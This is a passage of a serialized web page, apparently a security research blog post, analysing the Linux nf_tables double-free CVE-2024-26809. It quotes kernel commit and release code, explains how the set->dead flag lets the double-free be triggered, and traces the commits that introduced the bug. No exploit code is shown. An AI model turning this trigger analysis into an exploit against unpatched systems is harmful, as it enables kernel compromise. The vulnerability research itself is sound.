if",{"type":23,"tag":41,"props":52641,"children":52642},{"style":70},[52643],{"type":28,"value":142},{"type":23,"tag":41,"props":52645,"children":52646},{"style":858},[52647],{"type":28,"value":52648},"te",{"type":23,"tag":41,"props":52650,"children":52651},{"style":70},[52652],{"type":28,"value":2453},{"type":23,"tag":41,"props":52654,"children":52655},{"style":858},[52656],{"type":28,"value":51014},{"type":23,"tag":41,"props":52658,"children":52659},{"style":70},[52660],{"type":28,"value":2453},{"type":23,"tag":41,"props":52662,"children":52663},{"style":858},[52664],{"type":28,"value":52665},"ops",{"type":23,"tag":41,"props":52667,"children":52668},{"style":70},[52669],{"type":28,"value":2453},{"type":23,"tag":41,"props":52671,"children":52672},{"style":858},[52673],{"type":28,"value":52674},"commit",{"type":23,"tag":41,"props":52676,"children":52677},{"style":170},[52678],{"type":28,"value":52679}," &&\n",{"type":23,"tag":41,"props":52681,"children":52682},{"class":43,"line":985},[52683,52688,52692,52696,52700,52704,52708,52712,52717],{"type":23,"tag":41,"props":52684,"children":52685},{"style":114},[52686],{"type":28,"value":52687},"       list_empty",{"type":23,"tag":41,"props":52689,"children":52690},{"style":70},[52691],{"type":28,"value":1737},{"type":23,"tag":41,"props":52693,"children":52694},{"style":170},[52695],{"type":28,"value":855},{"type":23,"tag":41,"props":52697,"children":52698},{"style":858},[52699],{"type":28,"value":52648},{"type":23,"tag":41,"props":52701,"children":52702},{"style":70},[52703],{"type":28,"value":2453},{"type":23,"tag":41,"props":52705,"children":52706},{"style":858},[52707],{"type":28,"value":51014},{"type":23,"tag":41,"props":52709,"children":52710},{"style":70},[52711],{"type":28,"value":2453},{"type":23,"tag":41,"props":52713,"children":52714},{"style":858},[52715],{"type":28,"value":52716},"pending_update",{"type":23,"tag":41,"props":52718,"children":52719},{"style":70},[52720],{"type":28,"value":35188},{"type":23,"tag":41,"props":52722,"children":52723},{"class":43,"line":1058},[52724,52729,52733,52737,52741,52745,52749,52753,52757],{"type":23,"tag":41,"props":52725,"children":52726},{"style":114},[52727],{"type":28,"value":52728},"    list_add_tail",{"type":23,"tag":41,"props":52730,"children":52731},{"style":70},[52732],{"type":28,"value":1737},{"type":23,"tag":41,"props":52734,"children":52735},{"style":170},[52736],{"type":28,"value":855},{"type":23,"tag":41,"props":52738,"children":52739},{"style":858},[52740],{"type":28,"value":52648},{"type":23,"tag":41,"props":52742,"children":52743},{"style":70},[52744],{"type":28,"value":2453},{"type":23,"tag":41,"props":52746,"children":52747},{"style":858},[52748],{"type":28,"value":51014},{"type":23,"tag":41,"props":52750,"children":52751},{"style":70},[52752],{"type":28,"value":2453},{"type":23,"tag":41,"props":52754,"children":52755},{"style":858},[52756],{"type":28,"value":52716},{"type":23,"tag":41,"props":52758,"children":52759},{"style":70},[52760],{"type":28,"value":3506},{"type":23,"tag":41,"props":52762,"children":52763},{"class":43,"line":1084},[52764,52769],{"type":23,"tag":41,"props":52765,"children":52766},{"style":170},[52767],{"type":28,"value":52768},"           &",{"type":23,"tag":41,"props":52770,"children":52771},{"style":70},[52772],{"type":28,"value":52773},"set_update_list);\n",{"type":23,"tag":41,"props":52775,"children":52776},{"class":43,"line":1102},[52777],{"type":23,"tag":41,"props":52778,"children":52779},{"style":70},[52780],{"type":28,"value":34742},{"type":23,"tag":41,"props":52782,"children":52783},{"class":43,"line":1110},[52784],{"type":23,"tag":41,"props":52785,"children":52786},{"style":70},[52787],{"type":28,"value":10316},{"type":23,"tag":41,"props":52789,"children":52790},{"class":43,"line":1118},[52791],{"type":23,"tag":41,"props":52792,"children":52793},{"style":70},[52794],{"type":28,"value":9594},{"type":23,"tag":41,"props":52796,"children":52797},{"class":43,"line":1137},[52798],{"type":23,"tag":41,"props":52799,"children":52800},{"emptyLinePlaceholder":18},[52801],{"type":28,"value":82},{"type":23,"tag":41,"props":52803,"children":52804},{"class":43,"line":1163},[52805,52810,52814,52818,52823],{"type":23,"tag":41,"props":52806,"children":52807},{"style":114},[52808],{"type":28,"value":52809}," nft_set_commit_update",{"type":23,"tag":41,"props":52811,"children":52812},{"style":70},[52813],{"type":28,"value":1737},{"type":23,"tag":41,"props":52815,"children":52816},{"style":170},[52817],{"type":28,"value":855},{"type":23,"tag":41,"props":52819,"children":52820},{"style":858},[52821],{"type":28,"value":52822},"set_update_list",{"type":23,"tag":41,"props":52824,"children":52825},{"style":70},[52826],{"type":28,"value":3825},{"type":23,"tag":41,"props":52828,"children":52829},{"class":43,"line":1188},[52830],{"type":23,"tag":41,"props":52831,"children":52832},{"style":70},[52833],{"type":28,"value":10316},{"type":23,"tag":41,"props":52835,"children":52836},{"class":43,"line":1979},[52837,52842],{"type":23,"tag":41,"props":52838,"children":52839},{"style":114},[52840],{"type":28,"value":52841}," nf_tables_commit_release",{"type":23,"tag":41,"props":52843,"children":52844},{"style":70},[52845],{"type":28,"value":52846},"(net);\n",{"type":23,"tag":41,"props":52848,"children":52849},{"class":43,"line":2002},[52850],{"type":23,"tag":41,"props":52851,"children":52852},{"emptyLinePlaceholder":18},[52853],{"type":28,"value":82},{"type":23,"tag":41,"props":52855,"children":52856},{"class":43,"line":3835},[52857,52862,52866],{"type":23,"tag":41,"props":52858,"children":52859},{"style":58},[52860],{"type":28,"value":52861}," return",{"type":23,"tag":41,"props":52863,"children":52864},{"style":164},[52865],{"type":28,"value":392},{"type":23,"tag":41,"props":52867,"children":52868},{"style":70},[52869],{"type":28,"value":183},{"type":23,"tag":41,"props":52871,"children":52872},{"class":43,"line":3895},[52873],{"type":23,"tag":41,"props":52874,"children":52875},{"style":70},[52876],{"type":28,"value":201},{"type":23,"tag":24,"props":52878,"children":52879},{},[52880,52881,52887,52889,52894],{"type":28,"value":16601},{"type":23,"tag":37,"props":52882,"children":52884},{"className":52883},[],[52885],{"type":28,"value":52886},"nft_set_commit_update()",{"type":28,"value":52888}," function in the code above will call the ",{"type":23,"tag":37,"props":52890,"children":52892},{"className":52891},[],[52893],{"type":28,"value":52340},{"type":28,"value":52895}," method for any objects that were marked as pending an update.",{"type":23,"tag":31,"props":52897,"children":52899},{"className":16503,"code":52898,"language":3146,"meta":7,"style":7},"static void nft_set_commit_update(struct list_head *set_update_list)\n{\n struct nft_set *set, *next;\n\n list_for_each_entry_safe(set, next, set_update_list, pending_update) {\n  list_del_init(&set->pending_update);\n\n  if (!set->ops->commit || set->dead) // [4]\n   continue;\n\n  set->ops->commit(set); // [5]\n }\n}\n",[52900],{"type":23,"tag":37,"props":52901,"children":52902},{"__ignoreMap":7},[52903,52943,52950,52979,52986,52999,53031,53038,53099,53110,53117,53151,53158],{"type":23,"tag":41,"props":52904,"children":52905},{"class":43,"line":44},[52906,52910,52914,52918,52922,52926,52931,52935,52939],{"type":23,"tag":41,"props":52907,"children":52908},{"style":64},[52909],{"type":28,"value":51039},{"type":23,"tag":41,"props":52911,"children":52912},{"style":64},[52913],{"type":28,"value":51044},{"type":23,"tag":41,"props":52915,"children":52916},{"style":114},[52917],{"type":28,"value":52809},{"type":23,"tag":41,"props":52919,"children":52920},{"style":70},[52921],{"type":28,"value":1737},{"type":23,"tag":41,"props":52923,"children":52924},{"style":64},[52925],{"type":28,"value":9399},{"type":23,"tag":41,"props":52927,"children":52928},{"style":70},[52929],{"type":28,"value":52930}," list_head ",{"type":23,"tag":41,"props":52932,"children":52933},{"style":170},[52934],{"type":28,"value":377},{"type":23,"tag":41,"props":52936,"children":52937},{"style":858},[52938],{"type":28,"value":52822},{"type":23,"tag":41,"props":52940,"children":52941},{"style":70},[52942],{"type":28,"value":1969},{"type":23,"tag":41,"props":52944,"children":52945},{"class":43,"line":54},[52946],{"type":23,"tag":41,"props":52947,"children":52948},{"style":70},[52949],{"type":28,"value":1559},{"type":23,"tag":41,"props":52951,"children":52952},{"class":43,"line":76},[52953,52957,52961,52965,52970,52974],{"type":23,"tag":41,"props":52954,"children":52955},{"style":64},[52956],{"type":28,"value":21138},{"type":23,"tag":41,"props":52958,"children":52959},{"style":70},[52960],{"type":28,"value":51094},{"type":23,"tag":41,"props":52962,"children":52963},{"style":170},[52964],{"type":28,"value":377},{"type":23,"tag":41,"props":52966,"children":52967},{"style":70},[52968],{"type":28,"value":52969},"set, ",{"type":23,"tag":41,"props":52971,"children":52972},{"style":170},[52973],{"type":28,"value":377},{"type":23,"tag":41,"props":52975,"children":52976},{"style":70},[52977],{"type":28,"value":52978},"next;\n",{"type":23,"tag":41,"props":52980,"children":52981},{"class":43,"line":85},[52982],{"type":23,"tag":41,"props":52983,"children":52984},{"emptyLinePlaceholder":18},[52985],{"type":28,"value":82},{"type":23,"tag":41,"props":52987,"children":52988},{"class":43,"line":105},[52989,52994],{"type":23,"tag":41,"props":52990,"children":52991},{"style":114},[52992],{"type":28,"value":52993}," list_for_each_entry_safe",{"type":23,"tag":41,"props":52995,"children":52996},{"style":70},[52997],{"type":28,"value":52998},"(set, next, set_update_list, pending_update) {\n",{"type":23,"tag":41,"props":53000,"children":53001},{"class":43,"line":155},[53002,53007,53011,53015,53019,53023,53027],{"type":23,"tag":41,"props":53003,"children":53004},{"style":114},[53005],{"type":28,"value":53006},"  list_del_init",{"type":23,"tag":41,"props":53008,"children":53009},{"style":70},[53010],{"type":28,"value":1737},{"type":23,"tag":41,"props":53012,"children":53013},{"style":170},[53014],{"type":28,"value":855},{"type":23,"tag":41,"props":53016,"children":53017},{"style":858},[53018],{"type":28,"value":51014},{"type":23,"tag":41,"props":53020,"children":53021},{"style":70},[53022],{"type":28,"value":2453},{"type":23,"tag":41,"props":53024,"children":53025},{"style":858},[53026],{"type":28,"value":52716},{"type":23,"tag":41,"props":53028,"children":53029},{"style":70},[53030],{"type":28,"value":3825},{"type":23,"tag":41,"props":53032,"children":53033},{"class":43,"line":186},[53034],{"type":23,"tag":41,"props":53035,"children":53036},{"emptyLinePlaceholder":18},[53037],{"type":28,"value":82},{"type":23,"tag":41,"props":53039,"children":53040},{"class":43,"line":195},[53041,53045,53049,53053,53057,53061,53065,53069,53073,53077,53082,53086,53090,53094],{"type":23,"tag":41,"props":53042,"children":53043},{"style":58},[53044],{"type":28,"value":31388},{"type":23,"tag":41,"props":53046,"children":53047},{"style":70},[53048],{"type":28,"value":142},{"type":23,"tag":41,"props":53050,"children":53051},{"style":170},[53052],{"type":28,"value":2630},{"type":23,"tag":41,"props":53054,"children":53055},{"style":858},[53056],{"type":28,"value":51014},{"type":23,"tag":41,"props":53058,"children":53059},{"style":70},[53060],{"type":28,"value":2453},{"type":23,"tag":41,"props":53062,"children":53063},{"style":858},[53064],{"type":28,"value":52665},{"type":23,"tag":41,"props":53066,"children":53067},{"style":70},[53068],{"type":28,"value":2453},{"type":23,"tag":41,"props":53070,"children":53071},{"style":858},[53072],{"type":28,"value":52674},{"type":23,"tag":41,"props":53074,"children":53075},{"style":170},[53076],{"type":28,"value":23695},{"type":23,"tag":41,"props":53078,"children":53079},{"style":858},[53080],{"type":28,"value":53081}," set",{"type":23,"tag":41,"props":53083,"children":53084},{"style":70},[53085],{"type":28,"value":2453},{"type":23,"tag":41,"props":53087,"children":53088},{"style":858},[53089],{"type":28,"value":52484},{"type":23,"tag":41,"props":53091,"children":53092},{"style":70},[53093],{"type":28,"value":2678},{"type":23,"tag":41,"props":53095,"children":53096},{"style":48},[53097],{"type":28,"value":53098}," // [4]\n",{"type":23,"tag":41,"props":53100,"children":53101},{"class":43,"line":905},[53102,53106],{"type":23,"tag":41,"props":53103,"children":53104},{"style":58},[53105],{"type":28,"value":51486},{"type":23,"tag":41,"props":53107,"children":53108},{"style":70},[53109],{"type":28,"value":183},{"type":23,"tag":41,"props":53111,"children":53112},{"class":43,"line":922},[53113],{"type":23,"tag":41,"props":53114,"children":53115},{"emptyLinePlaceholder":18},[53116],{"type":28,"value":82},{"type":23,"tag":41,"props":53118,"children":53119},{"class":43,"line":930},[53120,53125,53129,53133,53137,53141,53146],{"type":23,"tag":41,"props":53121,"children":53122},{"style":858},[53123],{"type":28,"value":53124},"  set",{"type":23,"tag":41,"props":53126,"children":53127},{"style":70},[53128],{"type":28,"value":2453},{"type":23,"tag":41,"props":53130,"children":53131},{"style":858},[53132],{"type":28,"value":52665},{"type":23,"tag":41,"props":53134,"children":53135},{"style":70},[53136],{"type":28,"value":2453},{"type":23,"tag":41,"props":53138,"children":53139},{"style":114},[53140],{"type":28,"value":52674},{"type":23,"tag":41,"props":53142,"children":53143},{"style":70},[53144],{"type":28,"value":53145},"(set);",{"type":23,"tag":41,"props":53147,"children":53148},{"style":48},[53149],{"type":28,"value":53150}," // [5]\n",{"type":23,"tag":41,"props":53152,"children":53153},{"class":43,"line":939},[53154],{"type":23,"tag":41,"props":53155,"children":53156},{"style":70},[53157],{"type":28,"value":9594},{"type":23,"tag":41,"props":53159,"children":53160},{"class":43,"line":947},[53161],{"type":23,"tag":41,"props":53162,"children":53163},{"style":70},[53164],{"type":28,"value":201},{"type":23,"tag":24,"props":53166,"children":53167},{},[53168,53170,53176,53178,53183,53184,53189],{"type":28,"value":53169},"Later on, the ",{"type":23,"tag":37,"props":53171,"children":53173},{"className":53172},[],[53174],{"type":28,"value":53175},"nf_tables_commit_release()",{"type":28,"value":53177}," function is called to free any objects that were marked for release, and eventually calls the ",{"type":23,"tag":37,"props":53179,"children":53181},{"className":53180},[],[53182],{"type":28,"value":51014},{"type":28,"value":52334},{"type":23,"tag":37,"props":53185,"children":53187},{"className":53186},[],[53188],{"type":28,"value":52348},{"type":28,"value":53190}," method.",{"type":23,"tag":31,"props":53192,"children":53194},{"className":16503,"code":53193,"language":3146,"meta":7,"style":7},"static void nf_tables_commit_release(struct net *net)\n{\n[...]\n schedule_work(&trans_destroy_work);\n[...]\n}\n[...]\nstatic void nf_tables_trans_destroy_work(struct work_struct *w)\n{\n[...]\n list_for_each_entry_safe(trans, next, &head, list) {\n  nft_trans_list_del(trans);\n  nft_commit_release(trans);\n }\n}\n[...]\nstatic void nft_commit_release(struct nft_trans *trans)\n{\n switch (trans->msg_type) {\n[...]\n case NFT_MSG_DELSET:\n case NFT_MSG_DESTROYSET:\n  nft_set_destroy(&trans->ctx, nft_trans_set(trans));\n[...]\n}\n[...]\nstatic void nft_set_destroy(const struct nft_ctx *ctx, struct nft_set *set)\n{\n[...]\n set->ops->destroy(ctx, set);\n[...]\n}\n",[53195],{"type":23,"tag":37,"props":53196,"children":53197},{"__ignoreMap":7},[53198,53237,53244,53251,53272,53279,53286,53293,53334,53341,53348,53369,53382,53394,53401,53408,53415,53456,53463,53491,53498,53511,53523,53564,53571,53578,53585,53643,53650,53657,53686,53693],{"type":23,"tag":41,"props":53199,"children":53200},{"class":43,"line":44},[53201,53205,53209,53213,53217,53221,53225,53229,53233],{"type":23,"tag":41,"props":53202,"children":53203},{"style":64},[53204],{"type":28,"value":51039},{"type":23,"tag":41,"props":53206,"children":53207},{"style":64},[53208],{"type":28,"value":51044},{"type":23,"tag":41,"props":53210,"children":53211},{"style":114},[53212],{"type":28,"value":52841},{"type":23,"tag":41,"props":53214,"children":53215},{"style":70},[53216],{"type":28,"value":1737},{"type":23,"tag":41,"props":53218,"children":53219},{"style":64},[53220],{"type":28,"value":9399},{"type":23,"tag":41,"props":53222,"children":53223},{"style":70},[53224],{"type":28,"value":51997},{"type":23,"tag":41,"props":53226,"children":53227},{"style":170},[53228],{"type":28,"value":377},{"type":23,"tag":41,"props":53230,"children":53231},{"style":858},[53232],{"type":28,"value":52006},{"type":23,"tag":41,"props":53234,"children":53235},{"style":70},[53236],{"type":28,"value":1969},{"type":23,"tag":41,"props":53238,"children":53239},{"class":43,"line":54},[53240],{"type":23,"tag":41,"props":53241,"children":53242},{"style":70},[53243],{"type":28,"value":1559},{"type":23,"tag":41,"props":53245,"children":53246},{"class":43,"line":76},[53247],{"type":23,"tag":41,"props":53248,"children":53249},{"style":70},[53250],{"type":28,"value":10316},{"type":23,"tag":41,"props":53252,"children":53253},{"class":43,"line":85},[53254,53259,53263,53267],{"type":23,"tag":41,"props":53255,"children":53256},{"style":114},[53257],{"type":28,"value":53258}," schedule_work",{"type":23,"tag":41,"props":53260,"children":53261},{"style":70},[53262],{"type":28,"value":1737},{"type":23,"tag":41,"props":53264,"children":53265},{"style":170},[53266],{"type":28,"value":855},{"type":23,"tag":41,"props":53268,"children":53269},{"style":70},[53270],{"type":28,"value":53271},"trans_destroy_work);\n",{"type":23,"tag":41,"props":53273,"children":53274},{"class":43,"line":105},[53275],{"type":23,"tag":41,"props":53276,"children":53277},{"style":70},[53278],{"type":28,"value":10316},{"type":23,"tag":41,"props":53280,"children":53281},{"class":43,"line":155},[53282],{"type":23,"tag":41,"props":53283,"children":53284},{"style":70},[53285],{"type":28,"value":201},{"type":23,"tag":41,"props":53287,"children":53288},{"class":43,"line":186},[53289],{"type":23,"tag":41,"props":53290,"children":53291},{"style":70},[53292],{"type":28,"value":10316},{"type":23,"tag":41,"props":53294,"children":53295},{"class":43,"line":195},[53296,53300,53304,53309,53313,53317,53322,53326,53330],{"type":23,"tag":41,"props":53297,"children":53298},{"style":64},[53299],{"type":28,"value":51039},{"type":23,"tag":41,"props":53301,"children":53302},{"style":64},[53303],{"type":28,"value":51044},{"type":23,"tag":41,"props":53305,"children":53306},{"style":114},[53307],{"type":28,"value":53308}," nf_tables_trans_destroy_work",{"type":23,"tag":41,"props":53310,"children":53311},{"style":70},[53312],{"type":28,"value":1737},{"type":23,"tag":41,"props":53314,"children":53315},{"style":64},[53316],{"type":28,"value":9399},{"type":23,"tag":41,"props":53318,"children":53319},{"style":70},[53320],{"type":28,"value":53321}," work_struct ",{"type":23,"tag":41,"props":53323,"children":53324},{"style":170},[53325],{"type":28,"value":377},{"type":23,"tag":41,"props":53327,"children":53328},{"style":858},[53329],{"type":28,"value":49566},{"type":23,"tag":41,"props":53331,"children":53332},{"style":70},[53333],{"type":28,"value":1969},{"type":23,"tag":41,"props":53335,"children":53336},{"class":43,"line":905},[53337],{"type":23,"tag":41,"props":53338,"children":53339},{"style":70},[53340],{"type":28,"value":1559},{"type":23,"tag":41,"props":53342,"children":53343},{"class":43,"line":922},[53344],{"type":23,"tag":41,"props":53345,"children":53346},{"style":70},[53347],{"type":28,"value":10316},{"type":23,"tag":41,"props":53349,"children":53350},{"class":43,"line":930},[53351,53355,53360,53364],{"type":23,"tag":41,"props":53352,"children":53353},{"style":114},[53354],{"type":28,"value":52993},{"type":23,"tag":41,"props":53356,"children":53357},{"style":70},[53358],{"type":28,"value":53359},"(trans, next, ",{"type":23,"tag":41,"props":53361,"children":53362},{"style":170},[53363],{"type":28,"value":855},{"type":23,"tag":41,"props":53365,"children":53366},{"style":70},[53367],{"type":28,"value":53368},"head, list) {\n",{"type":23,"tag":41,"props":53370,"children":53371},{"class":43,"line":939},[53372,53377],{"type":23,"tag":41,"props":53373,"children":53374},{"style":114},[53375],{"type":28,"value":53376},"  nft_trans_list_del",{"type":23,"tag":41,"props":53378,"children":53379},{"style":70},[53380],{"type":28,"value":53381},"(trans);\n",{"type":23,"tag":41,"props":53383,"children":53384},{"class":43,"line":947},[53385,53390],{"type":23,"tag":41,"props":53386,"children":53387},{"style":114},[53388],{"type":28,"value":53389},"  nft_commit_release",{"type":23,"tag":41,"props":53391,"children":53392},{"style":70},[53393],{"type":28,"value":53381},{"type":23,"tag":41,"props":53395,"children":53396},{"class":43,"line":985},[53397],{"type":23,"tag":41,"props":53398,"children":53399},{"style":70},[53400],{"type":28,"value":9594},{"type":23,"tag":41,"props":53402,"children":53403},{"class":43,"line":1058},[53404],{"type":23,"tag":41,"props":53405,"children":53406},{"style":70},[53407],{"type":28,"value":201},{"type":23,"tag":41,"props":53409,"children":53410},{"class":43,"line":1084},[53411],{"type":23,"tag":41,"props":53412,"children":53413},{"style":70},[53414],{"type":28,"value":10316},{"type":23,"tag":41,"props":53416,"children":53417},{"class":43,"line":1102},[53418,53422,53426,53431,53435,53439,53444,53448,53452],{"type":23,"tag":41,"props":53419,"children":53420},{"style":64},[53421],{"type":28,"value":51039},{"type":23,"tag":41,"props":53423,"children":53424},{"style":64},[53425],{"type":28,"value":51044},{"type":23,"tag":41,"props":53427,"children":53428},{"style":114},[53429],{"type":28,"value":53430}," nft_commit_release",{"type":23,"tag":41,"props":53432,"children":53433},{"style":70},[53434],{"type":28,"value":1737},{"type":23,"tag":41,"props":53436,"children":53437},{"style":64},[53438],{"type":28,"value":9399},{"type":23,"tag":41,"props":53440,"children":53441},{"style":70},[53442],{"type":28,"value":53443}," nft_trans ",{"type":23,"tag":41,"props":53445,"children":53446},{"style":170},[53447],{"type":28,"value":377},{"type":23,"tag":41,"props":53449,"children":53450},{"style":858},[53451],{"type":28,"value":52556},{"type":23,"tag":41,"props":53453,"children":53454},{"style":70},[53455],{"type":28,"value":1969},{"type":23,"tag":41,"props":53457,"children":53458},{"class":43,"line":1110},[53459],{"type":23,"tag":41,"props":53460,"children":53461},{"style":70},[53462],{"type":28,"value":1559},{"type":23,"tag":41,"props":53464,"children":53465},{"class":43,"line":1118},[53466,53471,53475,53479,53483,53487],{"type":23,"tag":41,"props":53467,"children":53468},{"style":58},[53469],{"type":28,"value":53470}," switch",{"type":23,"tag":41,"props":53472,"children":53473},{"style":70},[53474],{"type":28,"value":142},{"type":23,"tag":41,"props":53476,"children":53477},{"style":858},[53478],{"type":28,"value":52556},{"type":23,"tag":41,"props":53480,"children":53481},{"style":70},[53482],{"type":28,"value":2453},{"type":23,"tag":41,"props":53484,"children":53485},{"style":858},[53486],{"type":28,"value":52594},{"type":23,"tag":41,"props":53488,"children":53489},{"style":70},[53490],{"type":28,"value":152},{"type":23,"tag":41,"props":53492,"children":53493},{"class":43,"line":1137},[53494],{"type":23,"tag":41,"props":53495,"children":53496},{"style":70},[53497],{"type":28,"value":10316},{"type":23,"tag":41,"props":53499,"children":53500},{"class":43,"line":1163},[53501,53506],{"type":23,"tag":41,"props":53502,"children":53503},{"style":58},[53504],{"type":28,"value":53505}," case",{"type":23,"tag":41,"props":53507,"children":53508},{"style":70},[53509],{"type":28,"value":53510}," NFT_MSG_DELSET:\n",{"type":23,"tag":41,"props":53512,"children":53513},{"class":43,"line":1188},[53514,53518],{"type":23,"tag":41,"props":53515,"children":53516},{"style":58},[53517],{"type":28,"value":53505},{"type":23,"tag":41,"props":53519,"children":53520},{"style":70},[53521],{"type":28,"value":53522}," NFT_MSG_DESTROYSET:\n",{"type":23,"tag":41,"props":53524,"children":53525},{"class":43,"line":1979},[53526,53531,53535,53539,53543,53547,53551,53555,53559],{"type":23,"tag":41,"props":53527,"children":53528},{"style":114},[53529],{"type":28,"value":53530},"  nft_set_destroy",{"type":23,"tag":41,"props":53532,"children":53533},{"style":70},[53534],{"type":28,"value":1737},{"type":23,"tag":41,"props":53536,"children":53537},{"style":170},[53538],{"type":28,"value":855},{"type":23,"tag":41,"props":53540,"children":53541},{"style":70},[53542],{"type":28,"value":52556},{"type":23,"tag":41,"props":53544,"children":53545},{"style":170},[53546],{"type":28,"value":2453},{"type":23,"tag":41,"props":53548,"children":53549},{"style":858},[53550],{"type":28,"value":20269},{"type":23,"tag":41,"props":53552,"children":53553},{"style":70},[53554],{"type":28,"value":970},{"type":23,"tag":41,"props":53556,"children":53557},{"style":114},[53558],{"type":28,"value":52522},{"type":23,"tag":41,"props":53560,"children":53561},{"style":70},[53562],{"type":28,"value":53563},"(trans));\n",{"type":23,"tag":41,"props":53565,"children":53566},{"class":43,"line":2002},[53567],{"type":23,"tag":41,"props":53568,"children":53569},{"style":70},[53570],{"type":28,"value":10316},{"type":23,"tag":41,"props":53572,"children":53573},{"class":43,"line":3835},[53574],{"type":23,"tag":41,"props":53575,"children":53576},{"style":70},[53577],{"type":28,"value":201},{"type":23,"tag":41,"props":53579,"children":53580},{"class":43,"line":3895},[53581],{"type":23,"tag":41,"props":53582,"children":53583},{"style":70},[53584],{"type":28,"value":10316},{"type":23,"tag":41,"props":53586,"children":53587},{"class":43,"line":9044},[53588,53592,53596,53601,53605,53609,53613,53617,53621,53626,53630,53634,53638],{"type":23,"tag":41,"props":53589,"children":53590},{"style":64},[53591],{"type":28,"value":51039},{"type":23,"tag":41,"props":53593,"children":53594},{"style":64},[53595],{"type":28,"value":51044},{"type":23,"tag":41,"props":53597,"children":53598},{"style":114},[53599],{"type":28,"value":53600}," nft_set_destroy",{"type":23,"tag":41,"props":53602,"children":53603},{"style":70},[53604],{"type":28,"value":1737},{"type":23,"tag":41,"props":53606,"children":53607},{"style":64},[53608],{"type":28,"value":846},{"type":23,"tag":41,"props":53610,"children":53611},{"style":64},[53612],{"type":28,"value":21138},{"type":23,"tag":41,"props":53614,"children":53615},{"style":70},[53616],{"type":28,"value":51066},{"type":23,"tag":41,"props":53618,"children":53619},{"style":170},[53620],{"type":28,"value":377},{"type":23,"tag":41,"props":53622,"children":53623},{"style":70},[53624],{"type":28,"value":53625},"ctx, ",{"type":23,"tag":41,"props":53627,"children":53628},{"style":64},[53629],{"type":28,"value":9399},{"type":23,"tag":41,"props":53631,"children":53632},{"style":70},[53633],{"type":28,"value":51094},{"type":23,"tag":41,"props":53635,"children":53636},{"style":170},[53637],{"type":28,"value":377},{"type":23,"tag":41,"props":53639,"children":53640},{"style":70},[53641],{"type":28,"value":53642},"set)\n",{"type":23,"tag":41,"props":53644,"children":53645},{"class":43,"line":9061},[53646],{"type":23,"tag":41,"props":53647,"children":53648},{"style":70},[53649],{"type":28,"value":1559},{"type":23,"tag":41,"props":53651,"children":53652},{"class":43,"line":9106},[53653],{"type":23,"tag":41,"props":53654,"children":53655},{"style":70},[53656],{"type":28,"value":10316},{"type":23,"tag":41,"props":53658,"children":53659},{"class":43,"line":9212},[53660,53664,53668,53672,53676,53681],{"type":23,"tag":41,"props":53661,"children":53662},{"style":858},[53663],{"type":28,"value":53081},{"type":23,"tag":41,"props":53665,"children":53666},{"style":70},[53667],{"type":28,"value":2453},{"type":23,"tag":41,"props":53669,"children":53670},{"style":858},[53671],{"type":28,"value":52665},{"type":23,"tag":41,"props":53673,"children":53674},{"style":70},[53675],{"type":28,"value":2453},{"type":23,"tag":41,"props":53677,"children":53678},{"style":114},[53679],{"type":28,"value":53680},"destroy",{"type":23,"tag":41,"props":53682,"children":53683},{"style":70},[53684],{"type":28,"value":53685},"(ctx, set);\n",{"type":23,"tag":41,"props":53687,"children":53688},{"class":43,"line":23496},[53689],{"type":23,"tag":41,"props":53690,"children":53691},{"style":70},[53692],{"type":28,"value":10316},{"type":23,"tag":41,"props":53694,"children":53695},{"class":43,"line":23531},[53696],{"type":23,"tag":41,"props":53697,"children":53698},{"style":70},[53699],{"type":28,"value":201},{"type":23,"tag":24,"props":53701,"children":53702},{},[53703,53705,53710,53712,53717,53719,53725,53727,53732,53734,53739,53741,53745,53747,53752,53753,53757,53759,53765],{"type":28,"value":53704},"It may appear as if it would be impossible to make ",{"type":23,"tag":37,"props":53706,"children":53708},{"className":53707},[],[53709],{"type":28,"value":50968},{"type":28,"value":53711}," true in the release step because the ",{"type":23,"tag":37,"props":53713,"children":53715},{"className":53714},[],[53716],{"type":28,"value":52340},{"type":28,"value":53718}," method is always invoked first...\nHowever, one last piece brings this bug to life: the ",{"type":23,"tag":37,"props":53720,"children":53722},{"className":53721},[],[53723],{"type":28,"value":53724},"set->dead",{"type":28,"value":53726}," flag. If a ",{"type":23,"tag":37,"props":53728,"children":53730},{"className":53729},[],[53731],{"type":28,"value":51014},{"type":28,"value":53733}," was marked for deletion, it receives the ",{"type":23,"tag":37,"props":53735,"children":53737},{"className":53736},[],[53738],{"type":28,"value":53724},{"type":28,"value":53740}," flag ",{"type":23,"tag":41,"props":53742,"children":53743},{},[53744],{"type":28,"value":3123},{"type":28,"value":53746},". If this flag is set, then the commit path will skip any commitments to this ",{"type":23,"tag":37,"props":53748,"children":53750},{"className":53749},[],[53751],{"type":28,"value":51014},{"type":28,"value":6456},{"type":23,"tag":41,"props":53754,"children":53755},{},[53756],{"type":28,"value":17515},{"type":28,"value":53758},". This is extremely convenient for us and will allow us to trigger the double-free because the ",{"type":23,"tag":37,"props":53760,"children":53762},{"className":53761},[],[53763],{"type":28,"value":53764},"priv ->dirty",{"type":28,"value":53766}," flag is not cleared when it should have been.",{"type":23,"tag":446,"props":53768,"children":53770},{"id":53769},"tracing-the-guilty-commit",[53771],{"type":28,"value":53772},"Tracing the guilty commit",{"type":23,"tag":24,"props":53774,"children":53775},{},[53776,53778,53785,53787,53793,53795,53800,53802,53808],{"type":28,"value":53777},"The above scenario raises some interesting suppositions about how this vulnerability was introduced. See, any ",{"type":23,"tag":458,"props":53779,"children":53782},{"href":53780,"rel":53781},"https://ubuntu.com/security/CVE-2024-26809",[462],[53783],{"type":28,"value":53784},"advisories",{"type":28,"value":53786}," about this vulnerability will say it was introduced by this ",{"type":23,"tag":458,"props":53788,"children":53791},{"href":53789,"rel":53790},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=9827a0e6e23bf43003cd3d5b7fb11baf59a35e1e",[462],[53792],{"type":28,"value":52674},{"type":28,"value":53794},", which sounds fair considering this added the weird code that frees twice in the same path. However, by checking the blame on the ",{"type":23,"tag":37,"props":53796,"children":53798},{"className":53797},[],[53799],{"type":28,"value":53724},{"type":28,"value":53801}," flag, which was what actually made this exploitable, we will learn that it was only introduced over a year after the commit above in this ",{"type":23,"tag":458,"props":53803,"children":53806},{"href":53804,"rel":53805},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=5f68718b34a531a556f2f50300ead2862278da26",[462],[53807],{"type":28,"value":52674},{"type":28,"value":706},{"type":23,"tag":24,"props":53810,"children":53811},{},[53812],{"type":28,"value":53813},"By reading the message of the first commit, we can finally understand why this code was 